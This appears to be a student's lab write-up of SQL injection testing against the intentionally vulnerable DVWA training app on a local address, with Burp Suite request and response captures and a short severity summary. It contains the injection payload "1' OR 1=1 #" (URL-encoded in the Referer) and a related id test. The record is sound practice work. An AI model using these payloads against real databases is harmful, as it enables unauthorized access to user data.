Vulnerability: SQL Injection

User ID:

Submit

```
ID: 1=1
First name: admin
Surname: admin
```

Response

Pretty Raw Hex Render \n

```
HTTP/1.1 200 OK
Date: Fri, 18 Jul 2025 10:05:28 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Content-Length: 4392
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

    <title>
      Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection
    </title>

    <link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" />

    <link rel="icon" type="\image/ico" href="../../favicon.ico" />

    <script type="text/javascript" src="../../dvwa/js/dvwaPage.js">
    </script>

  </head>

  <body class="home">
    <div id="container">

      <div id="header">

        <img src="../../dvwa/images/logo.png" alt="Damn Vulnerable Web App" />

      </div>
```

Request

Pretty Raw Hex

```
1  GET /dvwa/vulnerabilities/sqli/?id=1=1%3D1&Submit=Submit HTTP/1.1
2  Host: 172.20.10.3
3  Accept-Language: en-US,en;q=0.9
4  Upgrade-Insecure-Requests: 1
5  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
   like Gecko) Chrome/130.0.6723.70 Safari/537.36
6  Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
   png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7  Referer:
   http://172.20.10.3/dvwa/vulnerabilities/sqli/?id=1%27+OR+1%3D1+%23&Submit=Submit
8  Accept-Encoding: gzip, deflate, br
9  Cookie: security=low; PHPSESSID=841d6e622fe103b323f38eef7416635f
10 Connection: keep-alive
11
12
```

Vulnerablity: SQL injection
Tested URL: /dvwa/vulnerabilities/sqli/?id=1=1
Tool used: Burpsuite
Impact: Exposed user data without authentication
OWASP Mapping: A:1 Injection
Severity: High